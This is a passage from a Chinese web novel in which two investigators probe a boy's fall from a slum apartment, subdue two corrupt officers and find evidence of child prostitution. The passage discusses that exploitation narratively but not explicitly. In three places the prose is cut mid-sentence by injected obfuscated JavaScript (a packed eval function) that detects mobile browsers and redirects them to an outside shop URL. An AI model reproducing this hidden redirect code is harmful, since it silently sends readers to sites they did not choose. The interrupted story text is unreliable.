那男人两手往身后一背,嘴唇动了动,吐烟似的吐出口浊气来。莱蒂斯困惑地看着他将自己满肚子脂肪炫耀似的挺得更高,却没等到他开口解释。 女警倒是浮夸地掩唇一笑:“居然不认识行动部的高级警司?哎呀,也是。了不起的布列塔尼小姐哪会跟手下介绍同在圣卢塞赛警察厅工作的同事呢?” “?”,莱蒂斯更加困惑了,“圣卢赛特警察厅是警察总局,管辖范围包括整个圣卢赛特市区,各部门下的高级警司满打满算快一百人了。大家工作都很忙,除非彼此有合作,否则也没必要特地认识吧?” 少女说得非常诚恳,诚恳得女警的眼角抽搐了一下。 尼尔森在一旁乐了,听见她又咬牙尖酸道:“不愧是大象女的组员,连最基本的礼貌都没有。她都因为违反规定被停职半年了,怎么还不教教手下的人守规矩呀。” 莱蒂斯微微皱眉。事实上布列塔尼调查酒神节的行为理论上是合法的,局长奥夫挑不出毛病,最后找到个持有非法改装半自动机械臂的理由,才姗姗来迟罚了她停职半年。 但那和现在的情况无关。 看在对方身着警服的份上,莱蒂斯耐心道:“我已经完成入职培训了。警察厅没有要求职员认出高级警司的规定。你们有什么事吗?要协同调查的话我建议你们……” “没眼力见的乡下土狗。” 女警的眼角抽得像是根快崩断的皮筋,她小声骂了一句,趾高气昂地瞪着莱蒂斯:“协同调查?所以我就说你们没有一点规矩。跳楼的是个普通人,这案子也是普通部门管辖的,什么时候轮得到共感者调查部了?现在警司先生和我来了,你没理由继续留在这里,快滚,不然我们可是有权驱逐无关人员的。” “不,但是……我们最先赶到案发现场,”莱蒂斯顿了一下,她是个讲道理的好孩子,见对方似乎言之有理,开始一本正经地争取,“有人死了。作为一名警员,我不认为这和我无关,我愿意提供力所能及的帮助。” “哎哟,帮助,多荣幸啊,你的帮助可太珍贵了。”女警的音调矫揉造作,“真抱歉,我实话实话,你老老实实滚回调查部那怪胎窝去待着就算帮大忙了~” “别欺负小姑娘啊?”尼尔森突然开口,他抄起手依在门上,似笑非笑,“真有意思……她也是没跟你们接触过才会信这套鬼话,但在圣卢赛特待久了的人都知道警局的情况。” “贫民窟的死人案件警局一向避之不及,反正死的人都无足轻重,查清死因也没什么用,所以这种案子都像烫手山芋一样被推来推去。这次有人愿意帮你们查了,你们怎么还开始赶人了?” “说到底,我们还没见过你的警官证呢,拿出来看看呗?” “你又是谁?也想命令我?”女警哼了一声,甩了甩头发,摸上腰间配枪的位置,“你以为我说的强制驱逐是个玩笑吗?” 下一秒,她的手指却僵住了。 “他说得对,”莱蒂斯说,“请出示你们的证件。” 女警觉得心跳得很快,身体本能地进入了紧张状态。那小姑娘不知是因为真想检查证件,还是因为同伴受到了威胁,整个人气场都变得锋利,绿色的眼睛盯着她的脸,目光让她莫名心悸。 枪和人比,当然是枪快,但被钉死的感觉从四面八方而来,像铁丝缠绕在女警的每一处,将她的每一个举动都限制得死死的。她忽然觉得,如果自己拔枪了,那么最终那把枪会出现在这少女手里,指向自己的额头…… “噢,别紧张,别紧张。这确实是我们的疏忽。你看——” 一张警官证被抵到莱蒂斯面前,打断了一触即发的气氛。一直没出声的中年男警眯着眼睛,语气友善:“看,这是我们警察厅的钢印和标识吧。” 他的态度意外的温和,只是嘴里的口臭让莱蒂斯情不自禁地排斥。 这刚刚还高高在上的男人拉过女警,说了几句“我们也要做榜样,按程序办事”之类的废话,粗胖的手指摸过女警的手臂,又想来拍莱蒂斯的肩膀。 尼尔森本来想把他拦住,结果莱蒂斯直接闪开了。 好吧,看来还轮不到自己去担心她。尼尔森于是饶有兴趣地开始看戏,莱蒂斯则接过警官证认真看了一遍,点了点头。 这是真的证件。 “大家都是同事,我们办公室说不定就是上下楼呢。”男人收回警官证,肥胖的脸上带着故作亲切的笑,“但是啊,我可不能同意这位先生说的话——来调查本来就是我们的本职工作,我们怎么可能把它推给别人呢?对不对?我们接到了报警电话,立刻就赶过来了,可从没想过要踢皮球啊。” “你们说的那种情况呢,肯定是有的。圣卢塞特这么大,的确会有不负责任的警察。但我们一直尽职尽责,否则也不会被委以重任!这个案子就由我们接手了,二位就先回去吧。我相信共感者调查部也还有很多事务需要处理。” 莱蒂斯听完,眉似乎簇得更紧了:“……你们是接到报警电话之后从圣卢塞特警察厅过来的?可是报警电话应该是片区分局接的。” “哎,准确说是分局转接来总局的。死者年龄太小,所以分局申请总局参与。”肥胖的男警再次深深地吐息,脸上保持笑容,突出的腹部却像某种寄生的肉瘤一样收紧又张开,“我想我们都是同事,这种事情就不需要解释这么清楚了……不过这种刨根问底的态度很好,小姑娘,特别好,我看到了警局未来的希望。” “……我明白了。”莱蒂斯说,突然向前迈了一步。 “等等,莱蒂斯。”尼尔森警铃大作,一把抓住少女手腕,仓促地抬头看向门口的一男一女,“我们,呃,我们先让他们进来再出去吧,好吗?不然不礼貌。” 嘴上胡扯的同时,他的精神触须狂戳莱蒂斯的屏障。 与日俱增的精神共鸣穿过屏障转递去信息,如同低声的呢喃。 冷静一点,莱蒂斯。先等一会。 我知道他们有问题。信我。我们先走。 高级警司倒是真的大步走进了房间:“噢,好。你们就先走吧。真的想参与,也可以去局里先申请合作搜查令。” “警司真是负责又贴心,还屈尊降贵教这些乡巴佬这么多。”女警抱过警司的手臂,看莱蒂斯和尼尔森走出房门,“听见没?连变异都没变彻底的废物护卫,回去写申请吧。” “布列塔尼那个大象女没人敢动,你就不一样了,违反了规定,小心奥夫局长把你发配去卧底黑手党。哼,看你这样,还可以给哪个变态老大当个情人——” “这就不用你来操心了。”尼尔森都走到门口了,听了这话不禁回过头来,脸上笑容倒是意外的灿烂,“说真的,你话是不是有点多了?从见到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莱蒂斯和唐娜就是从警察厅来贫民区抓哨兵的,路上耗时超过二十分种。可从尼尔森报警到那两个警察上楼,总共不过十五分钟。 如果他们真的是接到报警才来,算上转接和调度的时间,怎么可能在十多分钟内赶到? “尼尔森……既然他们不是接到报警才来的,那他们为什么会来这里?他们到底是为了什么,才会提前出发,从警局赶到这座公寓?” 莱蒂斯走在黑暗的阶梯上,眼睛在一片漆黑中依然明亮得锐利。 尼尔森揉了揉眉心:“看来这事比想得复杂得多啊。我们对案件一无所知,死者是谁?是否为自杀?他到底为何而死?公寓里是否藏匿着嫌疑人……?” “莱蒂斯,虽然他们说的话很扯,但有一点是对的,这是死者为普通人的案件,你身为共感者调查部的成员,是可以不用管的。” 莱蒂斯摇摇头:“……我本来是打算先试着找到嫌疑人,等片区巡警赶到后提供线索,然后就按规定把案件移交给他们的。但现在……要麻烦你再多陪我一会了,尼尔森。” “对了,谢谢你刚刚拦着我,我知道你是怎么想的了,”小姑娘看着他,点了点自己的耳尖,长长的马尾在她身后摆出一个小小的弧度,她的嘴角也浅浅地笑了一下,“还好他们都以为我只是一个威胁不大的护卫,这下的确可以剩不少力气。” 哎,真希望你喊我陪你是在逛公园或者吃甜品的场合啊……尼尔森仰起头,重重叹了口气:“你都说了我是你搭档了,我会有别的选项吗?啊对,我兜里还有几块巧克力,你要吃吗?不吃我吃了啊。” 60. 第五十九条 “那个穷酸的混账竟然这么污蔑您!” 莱蒂斯和尼尔森刚走,女警就捏着嗓子叫喊起来。她的脸孔流露出了一种恰到好处的气愤,即不会显得虚情假意,又不至于让自己漂亮的五官扭曲,从而失去魅力。 “真不敢相信,一个穿风衣的流浪汉居然敢对高级警司指手画脚!哼,要不是有重要任务,真应该当场拘捕那家伙,让他在拘留所里和酒鬼毒虫们过上半个月!” 她义愤填膺地娇声说着,像是一个天真烂漫的女孩不忍听见自己倾心的对象被人侮辱。 她自认为是个聪明的女人,懂得如何讨好巴结的对象,于是通过这种方法一边表达自己对警司的维护和爱慕,一边掩盖自己讨厌警司的事实被人戳破的尴尬。 “呵呵,任务要紧,任务要紧。别和那种迟早变成‘蟑螂’的人较劲。”肥胖的高级警司平和地笑笑,还安抚似的摸了两把她的手,熟悉他脾气的女警却知道他心情并不好。 她有些害怕了,难道自己对这个肥猪的厌恶真的如此明显,以至于一个莫名其妙的风衣男都能一眼看出吗? “哎呀,警司真是宽宏大量,认真负责~”女警讨好地用胸脯贴了贴他手臂,但往常都会趁机揩油的男人这次却只是叫她专心,她于是讪笑着放开,环顾起房间。 她知道这肥猪并不是改了好色的本性,只是他们的任务确实重要,连他也不敢耽搁。 他们开始在这房间里到处走动,挨个打开暗格,一一检查。 满地的玩具和桌上的书籍等与住户身份有关的线索被他们无视,至于那半小时前有人一跃而下的窗口,他们更是靠都没有靠近。 “可恶……偏偏遇上这种药贩子的破房间。”女警趴在地上,狼狈地掏着沙发底,“那小屁孩怎么就挑这时候跳了?要是能直接问出来就方便多了。” 想起楼下那具尸体,她问道:“Sir,楼下死的真的就是我们要找的人?真会这么巧吗?” “呼……我们不找人,我们负责只负责搜房间。住贫民窟的人对陌生人非常警惕,因为来者可能是劫匪,小偷或敌对黑手党,所以要是有不认识的人来搜,其他住户可能起疑。但如果来的是我们,是警方,那这群罪犯又觉得见怪不怪了,反正贫民窟的人多多少少都会犯点法。” 高级警司气喘吁吁地把一个隔板取下拆开。他很久没亲自行动了,自从升职到这个位置,他的体重突飞猛进,体能却大跳水:“至于人,会有专业的家伙去找。我只是很惊讶那小屁孩居然死在了这里。” 女警没想明白:“可是Sir,搜查交给巡警不行吗?说到底,到底是什么东西非得要麻烦您亲自来找呢?” “我不知道,我没问,因为这不是我该问的。”高级警司说,语调突然变得低沉,“同样的,甜心,你也别问你不该问的。现在,别废话了,继续找U盘,硬盘,光盘或者随便什么能存储数据的东西——我收到的就是这样的命令。” 没有。 女警把一块踢脚线扔在地上,看向合上书柜的高级警司。 他们把这个充满暗格的破房子翻了个底朝天,但一无所获。那些暗格里什么都没有,竟然真的只是某个前租户的遗留家具。 “啊,真是讨厌死了!”在没有暖气的旧房子里冻得手脚冰凉的女警直跺脚,她撒娇道,“Sir,看来这房子里没有我们要找的东西,我们可以走了吗?” “不行,还有个房间没搜呢。”高级警司对这次任务展现出了超常的责任感。他挺着肥胖的肚子,踱步至那扇卧室门前,用力拧了拧把手,发现它上了锁。 “我们歇一会儿再搜吧~?”女警跟过去,向门把伸手,却握在了警司手上,“对了,Sir,之前跟您提到的,把我调去文职部门的事情,有什么进展吗——唉?” 她千回百转的尾音还没说完,突然眼前一黑,一头磕在门上。 女警瘫软的身体以一个滑稽的姿势顺着门板滑到地面。 “哐!” 在她身边,警司则像一块从钩子上掉落的肥肉一样,重重砸进了地板。 “原来是为了转成文职啊,怪不得这么卖力。” 尼尔森点评道。 他站在门口,看莱蒂斯娴熟地把这俩人一人一手刀敲晕,然后走上前去拽住男警的腿,和莱蒂斯一起把两个昏迷的碍事者拖到一边:“莱蒂斯,今天是不是你一生中把人敲晕次数最多的一次?啊?这还不是?” 这小姑娘之前住乡下时都经历了什么啊,尼尔森扶额:“好吧,无论如何,现在我们知道他们是来找东西的了。怎么样,听他们在干活时自己把目的说出来,是不是比用暴力审出来快多了?” 这俩警察在房间里聊天的时候,莱蒂斯就和他一起站在楼下。 通过觉醒的听力,她听到了全部的对话内容。而两个警察以为她只是个觉醒不完全的护卫,根本没考虑过自己被听见的可能性。 这就是尼尔森刚刚拉莱蒂斯离开的原因。 少女在走出房间后就明白了他的想法,尼尔森很享受这种无须多言的默契。 而莱蒂斯的确成长了不少。尼尔森本打算就躲在七楼边听边摸鱼,拆了块巧克力往嘴里塞,莱蒂斯却反手把他一拉,一边监听着警察的谈话,一边带着他跑出了公寓楼。 等在楼下的唐娜看向他们。 男孩的尸体还躺在血泊中,仍然有人时不时看过来,但由于酸浆大王鱿的存在,投来视线的人已经退到了三十米开外。 尼尔森不知道他们下来干嘛,但莱蒂斯问他:“分区警局的法医和巡警大概什么时候会来?” 尼尔森耸肩:“可能一两个小时后,可能永远不会。记得我刚刚说的吗?根本没有警察想管这档子事,这会儿估计正在踢皮球呢。对了唐娜,刚刚那俩警察进去之前,有跟你说什么吗?” 唐娜的身上徘徊着怀疑,她严肃起来的样子就像雾气突然结成坚冰:“他们检查了那孩子的尸体,可那看起来不像是在尸检,然后那个男警拍了照,似乎发给了谁……” “他们的情绪……很急切,但好像并不是为了这孩子的事情。我阻止他们,但他们出示了警官证,他们确实有权调查这起案件。” 莱蒂斯蹙眉,她低声道:“……不……如果是这样的话,那么也许会呢?” “会什么?” “会有法医来带走这孩子,而且很快就有……”莱蒂斯深吸一口气,冰冷的雾气顺着呼吸道弥散至四肢百骸,“那两个警察很不对劲,不是吗?他们出现在这里并不是因为报警,并且明显很不希望我们待在死者的房间。” “那个高级警司……尼尔森,我相信你对他的判断。他那种职位的人,本就很少亲自参与调查,更别说他那自傲又自卑的性格……他肯定是接到了更高层,或者更有权势的人的命令,才会亲自跑到这里。” “他拍了照,还发了出去。他是发给谁的?多半就是命令他来这里的人。也就是说,他认为这孩子的死亡是有必要向对方汇报的。” “他虽然不是接到报警才来的,但他来此的原因肯定和这孩子的死有关系。所以接下来,很有可能会有其他人——接到命令的法医或巡警——来带走这孩子的尸体。” “我下楼前就在担心这件事——他们会不会想隐瞒什么?会不会销毁这孩子的尸体?这孩子可能不会被尸检,甚至可能不会被好好安葬……总之,无论他们要对这孩子做什么,都绝不能让他们得手。” “不错,精彩的推理!”尼尔森鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356950|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两下掌,给出一个侦探的肯定。他不太在乎死者,所以没有往这个方向思考过,但莱蒂斯说得没错,男孩的尸体很可能被销毁,那样的话,他们会损失很多线索。 “要联系警察厅的法医组吗?”唐娜向莱蒂斯提出建议,然后转头奇怪地看着尼尔森,“好吵的情绪……克里克,你为什么那么自豪和高兴,莱蒂斯的推理跟你有什么关系?” 她以为对方会回以嘴炮,但这一向伶牙俐齿的侦探却突然卡了壳。他愣了一下,忽然建立起屏障隔断了情感,像是一个慌张的人躲进了房间。 即使如此,唐娜依然在他金色的眼睛里捕捉到了复杂的情绪。他似乎在对自己感到惊讶,进而有些无措,可因莱蒂斯而起的正面情绪依然在跳跃,他根本来不及收起嘴角发自内心的微笑。 所幸浓雾如面纱掩盖一切,那些情绪转瞬即逝,尼尔森最终只是以开玩笑的语气回呛道:“拜托了唐娜,我的名字也就三个音节,你至少得喊对其中一个吧?不过说真的,警视厅的法医组也不一定可信。连高级警司都被差遣过来了,法医们难道就不会受影响吗?” “所以我们必须找到足以信任的人来运送、检查和埋葬……”莱蒂斯喃喃着,思考着合适的人选,几秒后突然抬头问道,“尼尔森,火荆棘的势力范围有多广?” “啊,非常可靠的选择,”尼尔森明白她想干什么了,他微笑起来,“东南部的贫民区虽然算不上他们的领地,但肯定有他们的人活动。” 莱蒂斯的眼睛亮了,散发出兴奋的情感,但很快又漂浮起一些内疚来。 她掏出手机,拨通电话。 暗下去的屏幕上,呼叫对象是卢娜.雷德。 真不想麻烦卢娜小姐啊……莱蒂斯想着。可在电话接通前,她还是于心不忍地又看向那具小小的尸体,担忧地问尼尔森:“对了,火荆棘会有能保护这孩子的器械吗?他这个样子……没有器械的话,可能很难被完整地移动……” “你是在问一个黑手党的车上会不会有裹尸袋吗?”尼尔森乐了,“这你就大可放心啦!” 安排好一切后,尼尔森和莱蒂斯一起回到了八楼,把那两警察打晕搬走,一气呵成。尼尔森想,要是他俩有一天要需要把人毁尸灭迹,那效率一定也非常高。 莱蒂斯谨慎地翻出了两个警察的手机,通过面部识别开了锁,但没找到什么有用的信息。 女警只是听从高级警司的命令,什么都不知道,而高级警司的通话、短信和邮件都没有两个小时内的记录,多半是早已删除。看来他确实是有些坐上这个位置的本事。 “你觉得高级警司知道他们要找的东西内容是什么吗?”莱蒂斯扔下手机,抓起高级警司的领子,看起来像给他提供一些唤醒服务,尼尔森不知道她是准备把他掐醒还是扇醒。 “从那女的和他的对话来看,应该不知道。下达这个命令的人非常谨慎,他没有选普通巡警,而是让这个高级警司过来,多半是因为这人算他亲信。” “只派自己信得过的人出动,足以说明这件事重要且保密,上面不可能透露太多。这警司在为人处事方面敏锐,他说自己没问过不该问的,我觉得那不是假话。” “不过……U盘硬盘光盘是吗……什么东西值得他们如此大动干戈?”尼尔森摆弄着手里的开锁小工具,几声咔咔的声响后,转头对莱蒂斯招起了手,“好了,莱蒂斯,给那欠揍的男的一巴掌就把他扔了吧,锁打开了。” “我更想知道那孩子为什么会死……他还那么小,怎么会牵扯进这么复杂点事情?” 莱蒂斯说着,走了过来,丝毫没意识到自己也只是一个未成年人。她并没有扇高级警司,但他的确让她恶心,所以她把他之前想碰她的那只手给拧脱臼了。 61. 第六十章 “哇哦,居然还有这个?没想到啊。” “有什么?” “有条海润温斯顿的项链,登登——”尼尔森从一个暗格里拎出条链子,镶满钻石的吊坠在半空一闪一闪地反射着光,“我以前帮人查出轨的时候,有个调查目标就拿同款送过出轨对象。” “哦。”莱蒂斯拿着一只银色的戒指,正试图以小见大估算对应的体型。她随口应道:“HARRYWINSTON?那是谁?” “不是谁,是我俩谁也买不起的玩意。这么说吧,那个拿它送人的出轨男在西区有几栋别墅。”尼尔森说着掏出手机识别,对着网页给出的价格发出戏剧化的啧啧声,“顺便一提,你手里那玩意好像是CHUAMET的,快给我看看值多少。” 莱蒂斯不得不摁响拳头善意地提醒他:“值多少都和你没关系,别浪费时间。” 她真的有些头疼了。 说到底,她也没想到撬开那把锁后,自己会面对这些东西。 刚推开门时,一切毫无端倪。肮脏的墙和发霉的地板一脉相承地延续到了这里,两个房间的装修几乎没有区别。 只是和堆满玩具的客厅不一样,这间乱糟糟的卧室里送到处扔着颜色鲜亮的时尚服饰,窗台和桌上堆满化妆品和香水,床单被套都廉价而凌乱,还随机分布着丝袜底裤。 满屋的色块像是夜店里散射的灯光。 很显然,门背后的世界不属于那死去的男孩。莱蒂斯注意到床上的被子仅能供一人使用,满地的服饰却有短裙也有男装。只是在圣卢赛特生活数月后,这乡下少女也明白,即使这些都是同一个人穿,也没什么好奇怪的。 屏去干扰,淡淡的药味依然牵动莱蒂斯的嗅觉,看来这个房间里的家具也同样被改造出了暗格。莱蒂斯随手拆开一个,发现里面放了个迷你的方形小包。 “唔……并不是违禁品,是把暗格当成首饰柜了吗……”莱蒂斯戴着手套把小包取出来,黑色的皮料上没有别的装饰,只有一个图案对称的金属装饰,她不认识,但总觉得应该是见过的。 “尼尔森,”她问,“这个符号是什么来着?” “哦,”尼尔森在检查衣物,抬头看了一眼,“一个奢侈品牌的LOGO。” “奢侈品?” “爱马仕,很耳熟对不对?那应该是个仿品,或者说,我就猜到这里会有这种仿品。”尼尔森耸耸肩,扔开一条枕头边的网格长袜,“这堆衣服就足够说明了。” “你也看得出来吧,住这房间的人生活混乱,精神长期处于亢奋状态,但本质是为了逃避空虚和萎靡。” “服饰很多,风格个性强烈,但过于强烈了反而可能偏执或缺乏安全感,很显然爱慕虚荣,也很显然不知足。他们肯定会买奢侈品仿品来满足自己……好吧,我知道这推理压根没用,这样的人在贫民区比快餐店里的炸鸡还常见,那皮包的质感也一看就——不对,等等,嗯?那个质感好像…” 絮絮叨叨推理的尼尔森说到一半,忽然后知后觉地把头一抬,露出被纸钞甩了一巴掌的表情:“不对啊,这个质感看起来应该是真货啊?真的假的,这包够布列塔尼给我开五次保释金的。” 莱蒂斯不懂包,但她懂保释金,这帮助她立刻抓住重点:“你是说,死者的同居人持有着一个远超其消费能力的贵重物品?” “布列塔尼的保释金也远超了正常人的消费能力,”尼尔森顺势伏身,娴熟地在床板下摸索到一个暗盒,从里面取出一块男士手表来,“而且……好的,现在我们找到第二个了。” 莱蒂斯蹙眉。她一连查了几个暗格,在其中找到了闪闪发光的耳环和手链。 光线穿过货真价实的宝石,碎成七彩的斑点投影在墙上,得到尼尔森的认证后,莱蒂斯看它们的眼神就像看一颗颗子弹。 谁都知道这种东西出现在贫民区的暗格里肯定有问题,她似乎终于找到了一些男孩遇害的端倪。这个人现在在哪里,他会回来吗?她已经记住了那些衣物上的气味,如果用上尼尔森和她一起练过的那招,说不定能—— “好了,你左边,我右边。” 就在少女的眼眸开始变得晦暗时,尼尔森却突然拍了拍手。他宣布道:“一人负责一半房间,很公平吧。来吧,莱蒂斯,我们一起把所有的真品都清点出来。 “为什么?如果要用指纹比对,只需要把这几个首饰交回科技室就够了。”莱蒂斯的脸上看不出什么表情,但情绪却很低落,“但科技室太慢了……我不知道这背后到底牵扯到了什么,可对方已经开始行动了不是吗,尼尔森,我们得——” “我们得加快脚步,这就是为什么我们要清点真品。”尼尔森弯下腰,看着莱蒂斯的眼睛。他平时吊儿郎当,真的放沉了语气说话,却似乎确实能传递出一些让人安心的力量:“听我说,莱蒂斯,如果真品的数量不超过十个,那这个死者的住一起的家伙不是小偷就是娼妓。” “如果超过十个呢?” 尼尔森笑了:“那这人就一定是个娼妓。” 不久后,尼尔森看着装进物证袋的奢侈品在自己眼前一字排开,用手指轻轻敲打着桌面解释道:“说是小偷是因为,这家伙有相当多可以用于变装和伪装的衣物。超出消费能力的持有物总得有个来源,最简单也是最现实的可能就是,这些奢侈品都是偷来的。” “但这种赃物的数量一般不会超过十个。一是因为持有这些奢侈品的对象并不那么好下手,二是因为小偷会急于将这些赃物出手,一直把它们保存在家里对他们而言没有任何价值。” “而娼妓——莱蒂斯,我想你应该明白他们为什么会有这么多衣物。至于这些奢侈品嘛,都是客户赠与的礼物。” “礼物对于娼妓来说并非生存所必需,他们不会像小偷那样急于把奢侈品换成金钱,可能会攒够一批再慢慢卖,也可能留下来抬高自己身价。” 莱蒂斯的表情变得复杂起来。侦探轻笑一声,弯起嘴角。 他们面前摆着两只手表,三只皮包,五条手链,七条项链和八个指环。 “总共二十五件真品。哎呀,看来这家伙是个相当受欢迎的娼妓啊。” “……” 但莱蒂斯没有回应尼尔森的调侃。 她不适时宜地想起了一位白发蓝眼的不幸之人,以及初见他时,他满身的伤痕和睫毛上凝结的冰霜。 无论自愿与否,X交易都是上位者对下位者对剥削,她想,那些闪闪发光的珠宝皆是从人身上剜肉下的血肉。 “你在同情吗,莱蒂斯?”尼尔森的声音传来,上调的尾音牵动她的思维,“来自一个向导的劝告:别对所有的不幸都报以怜悯。至少在我看来,这个人和死者的死因脱不开关系哦?” “我不会改变我的看法,所有走上这条路的人,最根本的错并不在他们。”莱蒂斯摇摇头,声音反而冷静下来,尼尔森感到熟悉的倔强和坚定又开始在她心中浮现,“但我知道一个人可以即是受害人也是凶手,我不会在此就停止侦查。” “我刚刚检查了所有戒指内直径,这个人手指很细,体型偏瘦。通过长裤和上衣粗略估计身高应该和我相仿。性别不明,但如果是男性,年龄可能比我更小。” “他和死者的关系尚不明确,两人的生活空间也基本独立。但如果要我来推测……我想这个人应该承担着照顾死者的责任。” 莱蒂斯看向尼尔森,墨绿色的眼中凝出结晶般的怜悯:“死掉的那孩子……他的智力发育或者受教育程度,应该没有达到同龄的正常水准吧。” “玩具,零食,蜡笔和画,这确实是一个十岁左右的孩子房间该有的东西。但问题是,这里不止该有这些东西。” “他的校服呢,他的书包呢?我本来以为卧室里会有这些物品,现在看来,他是根本就没有入学。而我们找遍他身上和整间公寓里,都没有找到任何电子产品。这孩子没有手机,没有电脑,连电视都没有——他甚至没有办法通过多媒体接触外界。” “他不可能不需要手机,我们早就进入了小学生都会熟练操作电子产品的时代,哪怕只是为了及时联系,手机也都是必需品。” “他之所以没有电子产品,是因为他不知道怎么使用它。那本书——这房间里唯一的,放在桌上的,显然经常被阅读的书,是一本以图片为主的早教书籍。” “尼尔森,这孩子恐怕并不识字……他没有入学,也没有独自生活的能力。身在贫民窟,他无依无靠,所以我想,应该是卧室里的人把他收留在这间公寓里的。” “我和你想的差不多。”尼尔森点头,笑意却漂浮在他金色的虹膜表面,未达眼底,“但这两人的关系嘛,我倒是没那么乐观。” “那男孩确实是个文盲或者弱智——好吧,原谅我用词的直白——但看看那个‘照顾者’的房间,莱蒂斯,他完全可以给那男孩提供更好的生活。那些奢侈品要是卖掉,都够把一只兔子送进最高级的特殊教育学院了,那孩子怎么可能没条件学习识字?” “这里是贫民区,圣卢赛特的贫民区——莱蒂斯,如果先假设了人是善良的,那你的推理最终会南辕北辙。” “我不信你没想到这一点:不识字根本不是死者没有手机的理由。TicTok上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356951|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短视频和幼教App不需要文字也能看懂,所以这男孩接触不到外界的现状可不像是迫不得已,而是压根没人在乎。” “我考虑过这个问题,但我觉得‘收留’的可能性更大。”莱蒂斯的回答意外冷静,“否则,这个人为什么要和这样的孩子住在一起?” “你明明已经分析出来了,”尼尔森用鼓励的语气说着,那金色的双瞳中却似乎有种引力,拽着莱蒂斯下沉,“你说”‘如果这个人是男性,那么年纪应该比我更小’。如果这个‘如果’成立呢?你都还是个十七岁的小孩呢,那他呢?你知道他的顾客都是什么人,他们比一般的嫖客更加没有底线。” “莱蒂斯,别高估了人性。他是童妓,那死者为什么不可能是另一个更小的童妓?他们住在一起只是因为掌控他们的人如此安排了,仅此而已。” “深陷囹圄却还想要拯救他人的少之又少,”尼尔森直直地看着少女,他知道她想起了谁——“这个世界上,并不是所有人都能像海克.雷德和白鸟那么高尚的。” “……我不是为了证明事情如我所想,才想调查这个案件的。”莱蒂斯沉默了一瞬,却没有动摇,“我要的是真相,即使它残酷,恶心,有违人性,我也绝不会放弃追寻它。” 这是才是她对海克和白鸟的答案。奎因河畔的月夜里,她已然面对过世界上最残忍最戏谑,也是最高尚的真相。她并不期待所有人都善良,所有结局都没好,但她也不再会被现实的残酷所击垮了。 如今,她心中的勇气和坚定多于她的愤怒和沮丧。 这不是好事,可她辐射而来的情绪炙热如恒星,尼尔森忽然想叹气。 他是一个已然被击碎,被改变的人,但莱蒂斯却在星云碰撞般的撕扯后诞生成了星星。 唉…… 这分明是他一手缔造的哨兵。是他揭露了海克.雷德的真相,是他强迫她去面对,可现在他在精神图景的万米深海里仰望,却依然有被灼伤的痛觉。 就在侦探的哑然中,莱蒂斯的手机响了。 “尸体我们已经带走了,莱蒂斯小姐,我们之后会带他去入殓火化。”卢娜.雷德冷淡但令人安心的声音传来,连带着汽车在公路上运行的嗡鸣,“我们开了货车来,货箱空间很宽敞,所以我先粗略地进行了验尸。” 她略过寒暄,直入主题:“死者身上有很多的暴力和X行为痕迹,但形成的时间已经很久了,最晚可能在这几天内,我暂时无法判断准确时间。” “没有自残伤,没有在今天形成的暴力伤,没有胁迫痕迹,但却有想结束这样生活的理由。所以如果你要我给你一个结果,那么我会认为死者是自杀。” “这就对了,谢了卢娜。” 尼尔森瞬间恢复常态,没心没肺地露出一个“你看我就说吧”的表情。莱蒂斯则沉默地闭上了眼睛。 见莱蒂斯没有回答,卢娜没立刻挂掉电话:“莱蒂斯小姐,你还好吗?” “嗯……我没事。尼尔森之前已经有过这种推测了。” 可是…… 少女握紧拳头,万千思绪中心的暴风眼里,一个念头清晰得可怕。 如果男孩仅仅是因为无法忍受长期被迫发生X行为选择在今日解脱,为什么偏偏撞上高级警司来这间公寓寻找储存器? 他真的是自杀吗? “不是。” 一个陌生的声音忽然响起。 “艾兰他不是自杀的。” 莱蒂斯和尼尔森同时回过头去,看见公寓的门口有一个十四岁左右的男孩。 他有一头天生的红发,耳朵和嘴唇上打孔穿钉。一件宽大的外套罩着他偏小的身体,里面有粉色图案的黑色短上衣却露出了锁骨和部分肩膀。他的手上和脖子上挂满了配饰,下半身穿着条粉色短裙,瘦出骨头的膝盖顶着黑色丝袜,不属于这个年龄和性别打扮让他看起来有种迷幻的吸引力和病态。 男孩歪着头,用紫色的眼睛看着两人。他悄无声息,身上的味道又和这间公寓如出一撤,根本就是一个人从外面回到了自己的家中,引不起一丝异常,连莱蒂斯都没有发现他的到来。 他大大方方走进来,蹲在两个晕倒的警察旁边看了看,好奇地从男警腰间扒了把手枪,懒洋洋地观察。 “晚上好啊,警官们。我的房间就这么让你们流连忘返吗?” 直到他嚼着嘴里的泡泡糖这么说的时候,莱蒂斯才意识到,她刚刚在楼下围观的人群里见过这个男孩。 那时他有意拉起自己的外套,藏起自己显眼的穿着,因此她才没发现,这卧室的主人,竟然早就出现在了他们眼前。 62. 第六十一章 第六十一章我只要你 “我不建议你拿那个。”尼尔森说,“警局的枪都有条码,很容易追踪。你要是开枪了,警察找上你的速度得比收高利贷的还快。” 